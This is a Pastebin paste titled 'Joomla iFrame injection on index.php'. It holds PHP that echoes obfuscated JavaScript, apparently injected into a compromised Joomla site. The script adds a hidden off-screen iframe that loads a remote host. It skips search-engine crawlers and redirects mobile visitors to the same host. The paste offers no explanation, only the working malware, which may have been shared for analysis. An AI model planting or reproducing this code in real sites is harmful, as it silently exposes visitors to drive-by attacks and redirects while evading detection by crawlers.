Advertisement
scurit

Joomla iFrame injection on index.php

Jan 10th, 2014
994
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.42 KB | None | 0 0
  1. <?php
  2.  
  3. echo "<script type=\"text/javascript\">
  4.    function sd5135GHEDF(agaga31323l) {
  5.        var melm = document.getElementById(\"a35fdsfdsf62FFSSD\");
  6.        if (typeof(melm) != \"undefined\" && melm!= null)
  7.        {}else{
  8.            var dsdSSSWrw515312FFF = document.createElement(\"iframe\");
  9.            dsdSSSWrw515312FFF.id = \"a35fdsfdsf62FFSSD\";
  10.             dsdSSSWrw515312FFF.style.width = \"10px\";
  11.             dsdSSSWrw515312FFF.style.height = \"10px\";
  12.             dsdSSSWrw515312FFF.style.border = \"0px\";
  13.             dsdSSSWrw515312FFF.frameBorder = \"0\";
  14.            dsdSSSWrw515312FFF.style.position = \"absolute\";
  15.            dsdSSSWrw515312FFF.style.left = \"-200\";
  16.             dsdSSSWrw515312FFF.setAttribute(\"frameBorder\", \"0\");
  17.             document.body.appendChild(dsdSSSWrw515312FFF);
  18.             dsdSSSWrw515312FFF.src = agaga31323l;
  19.             return true;
  20.        }
  21.    }
  22. function asd61234tkhjasd454hfhf235(){
  23.    sd5135GHEDF(\"http://lyblynoski.isa-geek.com/?id=ifrm\");  
  24. }
  25. function SFWR64362fdhHHHHH(){
  26. if(navigator.userAgent.match(/(Googlebot|robot|Slurp|search.msn.com|nutch|simpy|bot|ASPSeek|crawler|msnbot|Libwww-perl|FAST|Baidu|googlebot|slurp|aspseek|libwww-perl|fast|baidu)/i)!==null){  }else{asd61234tkhjasd454hfhf235();}
  27. if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i)!==null){
  28. try{setTimeout(function(){window.location=\"http://lyblynoski.isa-geek.com/?id=mob\";},1000);}
  29. catch(err) {window.location=\"http://lyblynoski.isa-geek.com/?id=mob\";location.href=\"http://lyblynoski.isa-geek.com/?id=mob\";}
  30. }
  31. }
  32. //setTimeout(function(){R();},1500);
  33. try {
  34.        if(window.attachEvent) {
  35.            window.attachEvent(\"onload\", SFWR64362fdhHHHHH);
  36.        } else {
  37.        if(window.onload) {
  38.            var curronload = window.onload;
  39.            var newonload = function() {
  40.                curronload();
  41.                SFWR64362fdhHHHHH();
  42.            };
  43.            window.onload = newonload;
  44.        } else {
  45.             window.onload = SFWR64362fdhHHHHH;
  46.         }
  47.     }
  48. } catch(err) {}
  49. </script>";
  50. ?>
  51. /*END CORE include code version:1.23*/
  52. /*CORE include code version:1.23 START*/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement